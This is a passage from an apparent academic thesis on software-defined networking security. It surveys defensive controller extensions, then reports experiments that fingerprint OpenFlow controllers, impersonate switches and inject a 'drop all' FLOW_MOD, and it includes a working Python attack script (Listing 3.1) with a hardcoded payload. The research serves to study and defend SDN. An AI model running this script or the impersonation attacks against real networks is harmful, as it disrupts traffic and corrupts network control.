2.3. Advances in Security Solutions for the Application-Control Plane
Several studies identify and propose solutions for issues that arise at the application-control plane, where the
majority focuses on the policy conflict resolution problem [40]. To create a complete view on SDN security
for the (interested) reader, we will now discuss such studies in the context of related work. Per solution we
shortly elaborate on the problem it tries to solve and how it does this. A summary can be found in Table 2.2.

As stated in Section 1.4, we see that security solutions for the control and management layer occur in different
flavors. Firstly, there are network applications that improve security and dependability, thus are implemented
as options on top of the controller. Secondly, we see solutions that extend controllers, thus are directly im-
plemented into existing controllers. Lastly, we also see solutions embedded in completely new controllers.

Two examples of extensions to the NOX controller, both focusing on network verification (also seen as pol-
icy conflict resolution), are FortNOX (2012) [29] and FLOVER (2013) [46]. In FortNOX, this extension is called a
security enforcement kernel. The main purpose of both solutions is to provide non-bypassable policy-based
flow rule enforcement over flow rule insertion requests from OpenFlow applications (for example in response
to perceived threats). In other words, it addresses the problem of verifying that the current state of flow rules
inserted in a switch’s flow table remains consistent with the current network security policy. In the same cat-
egory, SE-Floodlight (2015) [47] is the implementation of the security enforcement kernel for the Floodlight
controller. As with FortNOX and FLOVER, SE-Floodlight focuses on multi-app support. It provides solu-
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tions for application co-existence in general, an application permission model, application accountability
and privilege separation.

The FortNOX extension is used by FRESCO (2013) [30], an application development framework facilitat-
ing the design of sophisticated threat detection and mitigation modules. The goal of FRESCO is to simplify
the development of security applications, for which it provides an own script language. With FRESCO it is
thus possible to write your own threat detection modules. It also contains some basic reusable modules for
security purposes. As as example, [30] presents the implementation of a reflector net, which allows OpenFlow
network operators to redirect malicious scanners to a third-party remote honeypot.

Another focus category is permission systems for applications. PermOF (2013) [48] is a fine-grained per-
mission system that tries to apply minimum privilege on applications and focuses on solving the problem of
lack of trust between the controller and the application. PermOF categorized OpenFlow instructions into 18
permissions and assigns the permissions to applications, which are isolated according to these permissions.

Another example is Rosemary (2014) [27]. Rosemary is a new NOS that tackles security issues which were
identified in controllers such as OpenDaylight and POX. Two of these identified problems were that there
is no separation for applications from the NOS and that the NOSs assume that network applications are all
trustworthy. Rosemary’s design solves these problems by explicitly separate the network applications from
the trusted computing base of the NOS and monitor applications and resources. Also, network applications
must explicitly possess capabilities to access a particular resource of the NOS - it thus works with a permission
structure. Rosemary is written in C and supports both the OpenFlow 1.0 and 1.3 specification.

Lastly there is Fleet (2014) [28], a distributed controller which aims to solve the malicious administrators
problem. Here, a switch intelligence layer operates on top of switches and mediates communication between
switches and the so-called administrator layer, while this layer consists of a set of physically separated ma-
chines to which administrators upload their network configurations and a shared data storage system. Inside
the administration layer, a voting mechanism using threshold signatures is leveraged. Eventually, an instruc-
tion is only accepted when the number of administrators who agree on the instruction reaches a predefined
threshold. This threshold will always be larger than the maximum malicious administrators that is allowed in
the network.

Retrospect on solution suitability
The solutions in Table 2.2 are not the only proposed security solutions, but give a proper overview of the dif-
ferent kind of investigated solutions. In the early days of the SDN paradigm itself, solutions to shortcomings
of the controller were mostly developed on top of or into the NOX controller. Namely, in a list with developed
security network applications presented in [3], 14 of the 20 solutions are deployed onto the NOX controller
- among which we find FortNox, FLOVER and FRESCO. These solutions will probably mostly serve as in-
teresting proof-of-concepts but less probably be deployed in enterprises, because the NOX controller is not
frequently used in enterprise networks due to its implementation shortcomings (see Section 1.4).

Without looking at the correctness of the solutions, a lot is unknown about the eventual suitability. This
is due to the fact that we have to wait and see what kind of controller implementations break through to
become truly ‘usable’ for the industry. Are the solutions for NOX correct concepts that can be deployed on
newer controllers? Besides this, stated is that OpenDaylight is leading the evolution in the SDN industry, but
up to date no particular security analysis is present about the security deployability of the controller. While
Rosemary covers OpenDaylight, this solution mostly focuses on the isolation of applications and results in a
centralized controller, which is known to represent a single point of failure.

Last, for eventual releases of solutions in commercial controllers, one needs to investigate to which extent
enterprises such as HP actually use academical proposals. For the HPE VAN case, it is known that the con-
troller is closely related to OpenDaylight. Here, solutions and concepts could probably be re-used, but it may
be less suited in commercial controllers developed far away from the academic world.
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Investigating the Control-Data Plane

In Section 2.2 we defined our research questions, of which the first one focuses on the control-data plane
in detail. Possible misuses in this lower part of a software-defined network are controller hijacking and flow
rule modification. In this chapter we target ‘simple’ (and unencrypted) SDN implementations and we will
investigate the possibilities for malicious activities when we misuse the OpenFlow protocol or when a par-
ticular network component has been taken over. More concretely, we want to find answers to the following
questions:

• Is it possible, using the OpenFlow (OF) protocol, to impersonate a switch or controller towards the orig-
inal controller, and if so, to what extent is it possible to retrieve information from or give information to
the controller in order to influence the network behavior?

• Is it possible, using the OpenFlow protocol, to impersonate a controller towards forwarding devices,
and if so, to what extent is it possible to influence the behavior of these forwarding devices?

• What are the possibilities for malicious network devices?

• In what way can we defend ourselves against the problems stated above?

In this chapter, the answers to the first two questions are retrieved in an experimental way using an attacker’s
point of view. Besides this, we focus on gaining insights into the OF protocol itself to get a grip on the par-
ticular communication between the controller and forwarding devices, which we do in Section 3.1. Our ex-
periments are discussed in Section 3.2 to Section 3.4. The possibilities for malicious network components are
discussed in Section 3.5. In Section 3.6, we end with our conclusions of the total investigation as well as a dive
into solutions to the found vulnerabilities. But before this all, we elaborate on the used threat model in this
chapter.

Threat model
When describing all attacks in this chapter, we use an attacker’s point of view. We assume that the attacker is
in possession of a direct connection towards the controller or switch (s)he want to attack, or has the needed
information/tools to set up such a link. As will be elaborated on in Section 3.2, for this one needs an IP-
address and TCP-port. The investigated networks don’t make use of TLS/SSL. When having the connection
towards a controller or switch, the attacker is able to follow the OpenFlow protocol - and has correct knowl-
edge to do so. For our experiments, the attacker doesn’t need physical access to the devices (s)he wants to
attack.

3.1. Investigating the OpenFlow Protocol
To get a broad view of the OpenFlow protocol and how communication using this protocol works, we focused
on the OpenFlow protocol specification [45] and ‘simple’ OpenFlow communication. For the latter, we can
simply rely on a virtual machine (VM) with Wireshark [44], Mininet [41], Open vSwitch [42] and the Ryu
controller [19] installed - such VM’s are easy to find as soon as one searches the Internet for ‘SDN Ryu Tutorial’.
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OpenFlow Message Name Value Message Type

OFPT_HELLO 0 Symmetric message
OFPT_ERROR 1 Symmetric message
OFPT_ECHO_REQUEST 2 Symmetric message
OFPT_ECHO_REPLY 3 Symmetric message
OFPT_FEATURES_REQUEST 5 Controller/Switch message
OFPT_FEATURES_REPLY 6 Controller/Switch message
OFPT_GET_CONFIG_REQUEST 7 Controller/Switch message
OFPT_SET_CONFIG 9 Controller/Switch message
OFPT_PACKET_IN 10 Asynchronous message
OFPT_PACKET_OUT 13 Controller/Switch message
OFPT_FLOW_MOD 14 Controller/Switch message
OFPT_MULTIPART_REQUEST 18 Controller/Switch message
OFPT_BARRIER_REQUEST 20 Controller/Switch message
OFPT_ROLE_REQUEST 24 Controller/Switch message

Table 3.1: A collection of OpenFlow Message Types and their corresponding values, which are used and encountered during our experi-
ments. Note that omitted replies have a value r equest +1.

Using Wireshark to monitor the network traffic while running Mininet with a topology with a single switch
(with an arbitrary number of hosts) connected to the simple_switch_13.py example of the Ryu controller
gives you direct insight in the handshake procedure between switch and controller as well as the filling of the
switch’s flow table which in this case happens in a reactive manner. For clarification, simple_switch_13.py
implements a controller which functions as a traditional ‘learning switch’ which uses OF1.3 (=0x04). Below
we will elaborate on the insights we gained investigating the protocol.

OpenFlow messages
The first step is to understand the different OF messages that exist - all listed in [45]. In Table 3.1 we listed the
OF messages which are important for and used in the remainder of this study.

As can be seen, there are three different types of messages. The symmetric messages can come from
both switches and the controller. As an example, the switch sends a ECHO_REQUEST towards the controller
to check the connection after which the controller answers with an ECHO_REPLY. The controller/switch mes-
sages are used for concrete controller-to-switch communications. Important to note is that the controller is
always the entity which initiates this kind of communication. For example, it could thus not be that a switch
sends a FEATURES_REQUEST. Lastly, there are only three different asynchronous messages, which occur asyn-
chronously. The PACKET_IN is the most important: most of the cases it is a packet which is sent from the
switch to controller when the switch didn’t find a match in its flow table(s).

In Table 3.1 also the value of a specific message is listed, which is the actual value we see in the OF header
when we investigate the packets with Wireshark. Using Wireshark, one can totally dissect the OF messages to
see what is what - knowledge which is leveraged when forging OF messages. For example, the HELLO message
{04 00 00 08 6e 3d be f 1} (hexadecimal representation) can be dissected as follows:

Bytes 04 00 00 08 6e 3d be f 1
Meaning OF version 1.3 message type (HELLO) length (8 bytes) transaction ID

Table 3.2: Dissection of a OFPT_HELLO message.

The OpenFlow handshake
The complete handshake procedure can be found in [45], which is the same for every OF version. Shortly
the handshake is as follows: It starts with a HELLO message from both sides. The overall understanding is
that these messages arrive simultaneously. In experiments, it differs between controllers whether they send
a HELLO before or after they have seen a HELLO from the connecting side. In all cases, after the controller has
seen the HELLO from the connecting switch, it (also) sends a FEATURES_REQUEST. The switch replies then a
FEATURES_REPLY.
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Officially, these three messages are enough for the handshake procedure, but in practice some more com-
munication takes place between the switch and controller before the controller knows enough to update its
known network topology or send the first FLOW_MOD to the switch. We elaborate more on different handshake
procedures in Section 3.2. Another interesting observation we have made during the investigation is that
a switch also accepts (and correctly responds after) other messages than the expected FEATURES_REQUEST

from the controller after its initial HELLO. This is leveraged in Section 3.3.

Difference in switch and controller behavior
As is already somewhat clear from the elaboration above, the behaviour of the switches and controller differ in
their response to different OF messages. As an example, a (general implemented) controller instance doesn’t
know how to react to a FEATURE_REQUEST, while a forwarding device will send a FEATURE_REPLY. Again,
controller-to-switch communication is always initiated by the controller. This behaviour difference can be
used to identify particular OF connections, which we will investigate in Section 3.2.

Another OF message type which creates different responses from the different devices - and thus will
be used in our investigation - is the ERROR message. As specified in [45], there are a lot of different ERROR
messages. It turns out that the forwarding devices most of the time don’t know what to do with errors, because
they should be the devices that send these messages to the controller. The controller on the other hand, can
trigger particular functionality when receiving an ERROR.

3.2. Identifying OpenFlow connections
Leveraging the OpenFlow handshake gives us several attack possibilities. As a first step, SDN controllers
could be identified by the used sequence of OF messages. Or, particular OF messages could be connected
to particular functionality (or applications) of a controller. Knowledge about the type and capabilities of the
SDN controller gives attackers valuable information for planning their attacks. Below we show that we are
able to find, identify and differentiate OF connections.

Finding possible OpenFlow channels
An attacker can connect to an OF device by setting up a socket towards the device’s IP-address and an open
TCP-port. We assume that the IP address of the OF device is known, after which we can search for a suitable
TCP-port to connect to. In general, both standard (virtual) switches and controllers have an open TCP port
which is dedicated to listen to incoming OF traffic. For our investigated controllers, this is 6633 or 6653. For
Open vSwitch, this is usually 6634.

One can also use the nmap [49] package to scan for open TCP connections on a particular IP address.
This way, we can easily find the open TCP connections of which probably some are dedicated to OF traffic.
However, nmap isn’t able to identify the particular TCP traffic, and will display an open TCP port to host an
unknown service, as can be seen in Fig. 3.1. Although the service is unknown, the open TCP ports are a good
starting point for an attacker.

Identifying OpenFlow connections
The identification of the OF connections is done using the Python script controller_checker.py, shown
in Appendix A. This script makes use of the pyof library [50] to create fake OpenFlow traffic. The pyof library
is a Python library which is able to generate most of the basic OpenFlow 1.3 messages. More information on
this library can be found in Appendix C.1.

Figure 3.1: Nmap scan of 192.168.253.129. In our setup, this IP hosts a controller instance and one Open vSwitch. Expected is to find the
controller on port 6633 and the switch 6634, given the standard configuration.



16 3. Investigating the Control-Data Plane

Figure 3.2: Results from controller_checker.py, which identifies a OpenDaylight controller instance and an Open vSwitch.

controller_checker.py works as follows: We start by creating a connection with the attacked device
via a socket connection using <IP,TCP>. Then, we make use of the fact that in almost all OpenFlow com-
munications (as is clear from Section 3.1), the controller is the entity that initiates a message exchange. The
script is able to respond with correct (expected) OF responses to different received OF messages. While do-
ing this, we store the message type of all received OF messages, up to the moment that we believe to have
received enough information to compare this received message sequence with handshake sequences which
are known for different controllers. These known handshake message sequences are found with the use of
Wireshark and stated in the check_message_sequence()method. This method is used to perform the com-
parison step, after which we receive our output.

For the identification of a connection to an OF supporting switch, the approach above is altered a bit.
controller_checker.py is extended to also send a FEATURE_REQUEST, an OF message that by default orig-
inates from a controller, . There are two moments that a this message can be send: (1) directly after the HELLO
or (2) after the reception of a ECHO_REQUEST. The switch expectingly reacts with a FEATURE_REPLY following
the standard OpenFlow handshake specified in [45]. This message can directly be used to conclude that we
connected to a switch.

In our implementation we chose to wait until we ‘heard’ from the other side before sending our next mes-
sage after our HELLO. In this way, we could detect what kind of OpenFlow connection is expected: In case we
receive a FEATURE_REQUEST, we are probably talking to a controller, in case of a ECHO_REQUEST it is probably
a OpenFlow switch.

Our script is capable of identifying an OF1.3 switch and the Ryu, ONOS, OpenDaylight and HPE VAN con-
trollers. As an example, Fig. 3.2 shows the result of the script on the <IP,TCP> combinations we have found
in Fig. 3.1. Here, before displaying the result, we print the message type list of the received OF messages.

Our findings are that OpenDaylight is the most recognizable controller, because it is the only controller
that sends a ROLE_REQUEST (value 24) and BARRIER_REQUEST (value 20) at the beginning of the handshake.
In fact, the other controllers never send a ROLE_REQUEST. The BARRIER_REQUEST is sometimes seen in HPE
VAN. Also worth mentioning is that Ryu directly sends a SET_CONFIG, even before receiving additional infor-
mation from the connecting switch, while in the other controllers this message is only seen after receiving all
needed additional information.

Attack limitations
Given this experiment, two things need to be kept in mind when expanding the attack. First, although the
script is a success, tests are only done with clean builds (or simple implementations) of the four controllers.
It could easily be the case that in newer builds, or implementations which also run a couple of network ap-
plications, the total handshake procedure alters because the controllers need more or different information
from the switch. This directly influences the suitability of the script. Second, for four controllers, it is easy to
maintain the list of used handshake procedures, but this list needs to be expanded to other controllers (and
maybe their versions) as well. Also, it could be that two different controllers use the same message sequence,
making it impossible to identify them without additional information.

In earlier versions the script was also capable of identifying the OF version which was used on the other
side. This feature was implemented after the discovery of [51], where a similar script was presented to identify
OF communication and did already support the identification of the OF version. This was accomplished by
holding a response HELLO back for a moment to check the OF version the attacked <IP,TCP> initiates, after
which we set this same OF version in our responses. As stated before, some controllers initiate a HELLO as
soon as the socket is open, while for example ONOS only communicates after receiving a HELLO. In the newer
version of the script we always initiate the communication by sending a HELLO with version 1.3. Because all
four controllers support this version, this does not lead to issues.
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3.3. Abusing controller-switch communication
Having found and identified OF connections, it is time to look whether we can use simple OF messages (Ta-
ble 3.1) to impersonate valid network components to influence the behavior of switches and/or the con-
troller. To this extent, we firstly created scripts to ‘attack’ a chosen <IP,TCP> with messages like HELLO,
FEATURE_REQUEST, FEATURE_REPLY, ERROR and FLOW_MOD. Eventually, we used the knowledge about mes-
sage responses and handshakes to write a script to impersonate a switch towards the different controllers.

Implementation description
All scripts created for the attacks described above were created with use of the pyof library [50] (Appendix C.1).
The script for the FLOW_MOD attack is shown in Listing 3.1. This attack can be performed in two ways: Sending
a hard-coded ‘drop all’ packet, or creating a custom FLOW_MOD with use of the pyof library (which in Listing
3.1 is also a ‘drop-all’ flow). For the custom message, it can be seen that almost all sent values are set to 0,
except the Match command. Also important is that the FLOW_MOD doesn’t contain an Action, which defines
what will be done after the match is found in the flow table. A FLOW_MOD without an Action is accepted and
will result in an empty action in the flow table, which corresponds with the ‘drop’ action. (For the complete
specifications of a FLOW_MOD, see [45].) The priority of this FLOW_MOD can easily be set higher by changing the
priority parameter to a higher value.

1 # ! / usr /bin/env python3
2 import argparse , socket
3 from pyof . v0x04 . symmetric . hel lo import Hello
4 from pyof . foundation . basic_types import Pad , UBInt8 , UBInt16 , UBInt32 , UBInt64
5 from pyof . foundation . constants import UBINT32_MAX_VALUE
6 from pyof . v0x04 . control ler2switch . flow_mod import FlowModCommand, FlowModFlags , FlowMod
7 from pyof . v0x04 .common. flow_match import Match , MatchType
8

9 # OMITTED − Code to process command−l i n e arguments
10

11 i f attacked_ip ! = None and attacked_port ! = None :
12 # create a hardcode ’ drop a l l ’ FlowMod bytestr ing
13 i f hardcoded :
14 data = b ’ \x04\x0e\x00@\xe4\xa7PN\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
15 \x00\x00\x00\x00\x00\x00\x00\x00\ x f f \ x f f \ x f f \ x f f \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
16 \x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x08\x00\x00\x00\x00 ’
17

18 # create an FlowMod message with the use of the pyof l i b r a r y
19 else :
20 # Empty Match , with MatchType ‘1 ’ and four empty oxm_fiels .
21 match = Match( match_type = MatchType .OFPMT_OXM, length = UBInt16 ( 4 ) ,
22 oxm_field1 = UBInt8 ( 0 ) , oxm_field2 = UBInt8 ( 0 ) ,
23 oxm_field3 = UBInt8 ( 0 ) , oxm_field4 = UBInt8 ( 0 )
24 )
25 # A l l unimportant f i e l d s are set to zero . XID i s a r b i t r a r y .
26 OFP_NO_BUFFER = UBINT32_MAX_VALUE
27 flowmod = FlowMod( xid = 44 ,
28 cookie = UBInt64 ( 0 ) , cookie_mask = UBInt64 ( 0 ) ,
29 table_id = UBInt8 ( 0 ) , command = FlowModCommand.OFPFC_ADD,
30 idle_timeout = UBInt16 ( 0 ) , hard_timeout = UBInt16 ( 0 ) ,
31 p r i o r i t y = UBInt16 ( 0 ) , buffer_id = OFP_NO_BUFFER,
32 out_port = UBInt32 ( 0 ) , out_group = UBInt32 ( 0 ) ,
33 f l a g s = FlowModFlags .OFPFF_SEND_FLOW_REM,
34 match = match
35 )
36 data = flowmod . pack ( ) # create bytestr ing
37

38 # S t a r t the attack
39 print ( "FlowMod attack s t a r t towards" , attacked_ip , " : " , attacked_port )
40 s = socket . socket ( socket . AF_INET , socket .SOCK_STREAM)
41 s . connect ( ( attacked_ip , attacked_port ) ) # Open Socket
42 s . send ( Hello ( ) . pack ( ) ) # I d e n t i f y ourselves with an HELLO message
43 print ( s . recv (1024) ) # Receive a HELLO back
44 s . send ( data ) # Send the FLOW_MOD
45 print ( s . recv (1024) ) # Await reaction .

Listing 3.1: Core of the Python script for a FLOW_MOD attack. Some parts are omitted or adapted in this listing for readability.
The complete code is delivered with this master thesis.
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A primary goal of the small attacks was to see what the response of the different OF entities is and whether
these reactions always correspond with the expectations. Our gained knowledge was then used to implement
a OF switch impersonator, which can successfully contact the controllers such that we reach the ‘main mode’
or are found in the network topology. The code of this script can be found in Appendix B. As can be seen
there, we also start sending more complicated messages such as MULTIPART_REPLY’s. For this, we mostly
send hard-coded messages, because the pyof library doesn’t support the construction of MULTIPART_REPLY’s
(yet). Also, our used version of the library contains some minor errors. For example, we had to correct the
implementation for the multipart_reply, multipart_request and get_config_reply. The hard-coded messages
are constructed with use of observed OF messages in Wireshark.

3.3.1. Attacking the switch
Whether a switch accepts an OF message from other switches depends on the control channel architecture
(explained in Section 1.4.3). For the outcomes we discuss below, our setup was created with standard Mininet
[41]. This means, we have an out-of-band control channel, such that switches are not supposed to talk OF to
each other. All contacted switches thus expect that if we are talking to them that we are a controller.

Shortly, important observations from the experiments are (some already mentioned before):

• When receiving a HELLO, the switch responds with a HELLO and will eventually send an ECHO_REQUEST

to check the connection. After this initial HELLO the switch accepts every kind of message.

• When receiving a FEATURE_REQUEST, the switch will send a FEATURE_REPLY (as expected). Effectively,
responses on different requests (such as different MULTIPART_REQUEST’s) can be used to receive pack-
ets which can successfully be reused when impersonating a switch.

• When receiving an ERROR, the switch will send an ERROR back.

• The FLOW_MOD attack successfully adds a ‘drop all’ flow into the switch’s flow table.

Given our observations, it seems that a switch directly trusts an incoming OF connection to be a trustworthy
controller. It shows that this way, attacks like flow rule modification are easily possible. During the first ex-
periments, the impersonated controller is always the master controller. We also investigated the possibilities
of sending a FLOW_MOD when we are a slave controller - which could be the case when we have multiple con-
trollers in the network and have taken over one. For this we adapted the code from [52]. It turns out that when
we send a FLOW_MOD from a controller which at the switch is recognized as a slave, the switch will respond
with an ERROR with reason BAD_REQUEST. However, the switch does accept multiple controllers to have the
master role at the same time, which will make the attack possible again.

3.3.2. Attacking the controller
At first glance, it turns out there are less possibilities for ‘attacking’ a controller. Namely, from Section 3.1
it can be concluded that switches generally don’t initiate communication towards the controller. Retriev-
ing important information by faking particular requests from the controller is thus not directly a possibil-
ity. Another idea is to impersonate a colleague controller. However, communication is then shifted to the
east-/westbound interfaces [3], where OpenFlow is not employed. As an example, as soon as the controller
receives an OF message (here a HELLO), it directly assumes a switch wants to connect and it responds with a
FEATURES_REQUEST. When we try to send a FEATURES_REQUEST ourselves (thus impersonate a controller),
communication dies out. Further investigation of the east-/westbound interface lies outside the scope of this
research.

One possibility that shows perspective is trying to influence the behaviour of the controller by sending
ERROR messages. From our investigation it turns out that the controller does react to an ERROR, even though
our constructed message with use of pyof is seen as a malformed package in Wireshark. As proof-of-concept,
we adapted the Ryu [19] controller such that a error response method installs a ‘drop all’ flow in the flow table
of all connected switches. Indeed, we see that this functionality is triggered when an ERROR is received. We
need to note however, that the response to an ERROR is completely determined by the implementation of the
controller - and that the probability that actual controllers will have such drastic response functionality is
zero. An attacker could investigate what is seen as the most severe type of error message to possibly trigger
the most decisive response.

Our largest attack is the impersonation script switch_impersonator.py, shown in Appendix B. With
this, we were directly successful in impersonating an Open vSwitch towards the Ryu, ONOS and OpenDaylight
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Figure 3.3: Result of impersonating an instance of Open vSwitch towards the OpenDaylight controller, such that the impersonated switch
(id:44) is found in the network topology. The other part of the network in the topology is set up via Mininet.

controller. For the impersonation towards the HPE VAN controller, we needed to construct more complicated
OF messages which wasn’t supported by the pyof library. At first, we weren’t successful, because HPE VAN
asks us for a TABLE_FEATURES response which we could not easily fake. Reusing such a response from a
Mininet Open vSwitch was in this case not straightforward, because it contains the features of all its 254
tables distributed over multiple packets. It is not possible to set the number of tables of Open vSwitch to a
lower value. In a later setup we found out that Open vSwitch can also respond with an ERROR message with
type BAD_REQUEST and code BAD_TYPE. Reusing this response made the impersonation attack towards HPE
VAN also successful.

The success of switch_impersonator.py can be checked in two ways. For the Ryu controller, debug
output shows that after entering config mode after the exchange of the HELLO messages, the controller even-
tually switches to main mode. With the other controllers, we see that the impersonated switch is included in
the network topology view which is accessible via their GUI application. The result of such inclusion in the
network topology can be seen in Fig. 3.3, where we attacked the OpenDaylight controller.

Attack limitations
As seen, the first consequence of a successful impersonation attack is that the controller thinks that this
switch is part of the network and thus has a incorrect view of the network topology, which is already a serious
issue. However, there are limitations on what an attacker can do from this point. While an attacker can
send ERROR messages towards the controller to attack as described above, it is in its initial state impossible
to communicate to other network devices in the network. This is because the controller doesn’t know about
connections between the impersonated switch and these other network devices. For the identification of
connections between switches, the controller doesn’t rely on OpenFlow, but uses the Link Layer Discovery
Protocol (LLDP). To build a larger fake network connected to the controller, an attacker thus also needs to
have knowledge of this protocol in order to (mis)use it. In case the attacker impersonates multiple switches,
this protocol is only needed when the attacker wants to connect these switches - it is also possible to flood
the controller with multiple, unconnected impersonated switches.

3.4. Possibilities in Physical Networks
To get some insights into the attack possibilities in physical networks, we experimented with our own small
physical setup for which we used the Zodiac FX OpenFlow Switch [43]. With use of a single Zodiac switch,
one can create a small SDN which can connect up to three hosts and is connected to a single controller. More
information on working with the Zodiac switch can be found in Appendix C.3.

Fig. 3.4 shows the two setups we have worked with. The setup on the left matches with the setup used
in the simulated environment, where the attacker is directly connected to the controller. This setup is used
to redo our experiments with the impersonation script, expecting the same results. The setup on the right
is a new situation. The Zodiac switch allows for the ports to be configured to match a particular VLAN, such
that we can state whether the ports are part of the OpenFlow network or just native1 ports. The connection
towards the controller is always part of a native VLAN, while hosts part of the network are connected via the
OpenFlow VLAN (here H1 and H2). We stated that the connected to the attacker is a native port, such that we

1We use the term native because this is used in the Zodiac FX switch documentation.
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Figure 3.4: The two experimental setups we used while using the Zodiac FX Switch, including the IP-addresses of all entities. The white
ports are ports over which the switch is configured to expect traffic part of an OpenFlow network, while the black ports are configured
to be so-called native ports. On the left, the attacker is directly connected to the controller. This setup matches the setup used in the
simulated environment. On the right, the connection to the controller goes via the switch over two native ports.

could see whether we could (1) impersonate another controller towards the switch or (2) attack the controller
via the switch.

As expected, when the attacker is directly connected to the controller, it is possible to perform switch im-
personation. It turns out it is also possible to perform this attack via the switch, where the only role for the
switch is to forward the traffic between the attacker and controller. We do see that the controller thinks that
the Zodiac switch and impersonated switch are not connected, while this is the case. The controller doesn’t
make use of the fact that the packets travel through the Zodiac switch, but needs additional information from
the switches or via LLDP to come to this conclusion.

We were not able to impersonate a controller and perform flow rule modification. This is because we
weren’t able to setup a connection due to the lack of open TCP-ports on the Zodiac switch - and this capability
is one of the start conditions to perform our attacks. From this, it is even more clear that the feasibility of our
attacks is mostly defined by the ability to connect to the entities we want to attack and that the standard open
TCP-ports of controllers is a vulnerability we can abuse.

3.5. Malicious Network Components
Besides attacks which we can perform via scripts, impersonating certain network components, security issues
will arise when network components are taken over by attackers. First, a malicious controller can take over
the entire network, given it has the master role. Because this follows naturally, we will not further look into
this. Instead, we elaborate on our investigation towards the possibilities for malicious switches, which is
mostly performed with use of [53]2. We did not perform experiments.

There are several ways to create (or obtain) malicious network components. Most straightforward, switches
can be taken over directly by accessing it physically or by exploiting some vulnerability in the switch. As soon
as an attacker has access to a network component, it can leverage OpenFlow to influence the network’s be-
haviour, just like we have done in Section 3.3. To what extent this is possible, depends on the used control
channel architecture, which we will discuss separately.

3.5.1. Attack possibilities on the in-band control channel
First we look into the attack possibilities when the network has an in-band control channel. An example sce-
nario is given in Fig. 3.5 on the left. Here, not only the data packets between the hosts H1 and H3 will pass
through the malicious switch, but the malicious switch will also see all the control data which is intended
to or originates from Switch 3, S3. Thus, an attacker will be able to attack both the data plane and the con-
trol channel. [53] states that the severeness of the threat of a compromised switch depends on whether the
attacker can only modify the flow table of the compromised switch or (s)he can perform a control channel
hijack, where the malicious switch believes that the attacker is the correct controller it should listen to.

In the case of flow table modification, the attacker only accesses the flow table of the malicious switch.
First, an attacker could focus its attack on the data plane. As an example, it gives him(/her) opportunities

2[53] contains some errors regarding the explanation of the in-band and out-of-band control channel. The correct explanation can be
found in Section 1.4.3
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Figure 3.5: Example scenarios of a network with a malicious switch, where the network has a in-band (left) or out-of-band (right) control
channel. The connection between the compromised switch and the attacker can be physical or virtual.

to setup the flow table to perform eavesdropping - where the data is duplicated towards the attacker. In this
way, the attacker should be able to retrieve all data which is sent between H1 and H3. More severely, the
attacker could setup a man-in-the-middle attack, where all data which travels through the malicious switch
is sent only to the attacker, which then can modify the packets before sending it back to the malicious switch
to continue the normal route. Given these two attacks, the attacker could also focus on the control data which
travels through the malicious switch. Looking at S3, the attacker could not only eavesdrop control data, but
also edit the control data to for example edit the state of S3 known by the controller.

When the attacker is capable of impersonating a controller and hijack the control channel, a larger portion
of the network can be influenced by sending control data towards the malicious switch. In our example, the
attacker could be able to reach S3 by sending control data destined for S3 via the malicious switch, which
was already used to forward these kind of packets. In this case, the possibilities for the attacker are larger
then in the case of the man-in-the-middle scenario, because now the attacker can initiate control data, while
otherwise it can only adapt control data which travels by.

A last possible attack is topology spoofing. The attacker could send fake control data towards the mali-
cious switch stating it is a new part of the network. The fake control data could state that there is only one
other switch connected to the malicious switch, but also that there is a sequence of switches because of the
in-band architecture. The malicious switch doesn’t know better than to forward these messages to the con-
troller, which as a result will have a wrong view of the network topology.

Note that, in general, the influence of the attacker depends on the logical location of the malicious switch. As
an example, in Fig. 3.5 the malicious switch is not used to receive control data for S1, thus the attacker could
never reach this switch. Shortly, in this topology, the closer a malicious switch is to the controller, the larger
the influence of an attacker which pretends to be the controller.

3.5.2. Attack possibilities on the out-of-band control channel

There are far less possibilities for an attacker as soon as the network has an out-of-band control channel,
such as on the right in Fig. 3.5. Attacks that are possible are attacks targeted at the data plane. Namely,
using flow table modification, it is still possible to configure the flow table of the malicious switch to perform
eavesdropping or a man-in-the-middle attack, which influences the traffic of data packets between H1 and
H3.

Control data attacks, on the other hand, are not possible any more. In the out-of-band control channel,
control data travels over dedicated lines, such that no control data will travel via (or through) the switches.
Therefore, the attacker will not have access to the control data for S3, which was the case in the in-band
scenario. In the case of a hijacked control channel, the attacker can only target the malicious switch and
not others, sharply decreasing the attacker’s options. Neither can the attacker perform topology spoofing,
because this is also achieved by sending control data through a switch towards the controller. Because in this
scenario, the malicious switch will not accept control data which for or from other switches, the faked control
data will never reach the controller.



22 3. Investigating the Control-Data Plane

3.6. Conclusions
In this chapter we have investigated the possibilities for the abuse of the control-data plane by misusing the
OpenFlow protocol, particular on the moment that the controller and a network device want to establish a
connection (the OpenFlow handshake). In an experimental way, we have shown that it is possible to imper-
sonate one (or more) switches to influence the controller’s view of the network topology and that a simple
script is enough to adapt a switch’s flow table to drop all traffic. For both these attacks, we discussed the
attack limitations and sketched possibilities for attack expansions. We also elaborated on the possibilities
for an attacker when (s)he is in possession of a compromised network device. With usage of OpenFlow, flow
tables can be adapted to enable eavesdropping or even the modification of data packets (the latter with use
of a man-in-the-middle attack).

Our work is relatable to [54], which gives a security analysis of the OpenFlow protocol and shows possibil-
ities for denial-of-service and information disclosure. However, [54] doesn’t focus on the attack possibilities
when misusing the OpenFlow handshake and other particular OpenFlow messages, which we have done.

Our experiments show similarities with the work of Gregory Pickett [51], which we encountered halfway
our experiments. Pickett presents a toolbox that can be used to attack SDN in several ways. First, the tools of-
check and of-enum are able to find and identify OpenFlow services and controllers. Second, of-switch is able
to impersonate an OpenFlow switch and of-flood is able to flood an OpenFlow controller in order to disrupt
the network or even bring it down. Picket’s work is mostly used as inspiration. We expand on his attacks by
also using the OpenFlow handshake to identify different type of controllers and perform flow rule modifica-
tion towards switches. Furthermore, while the impersonation attack of Pickett makes use of OpenFlow 1.0,
we use OpenFlow 1.3, and we conduct our experiments with different controllers, namely Ryu, ONOS, HPE
VAN and OpenDaylight - while Pickett used OpenDaylight and Floodlight.

In our threat model, we assume that an attacker is able to create a direct link towards the entity (s)he wants to
attack. Countermeasures against the attacks discussed in this chapter should be focused on preventing the
attacker to create such a link and protecting the control channel. Firstly, clear from Section 3.5, the network
seems to be automatically protected against attacks to the control channel as soon as an out-of-band control
channel architecture is used. In this case, malicious components can only attack the data plane, because no
control data travels through switches. Secondly, authentication methods and encryption should be applied,
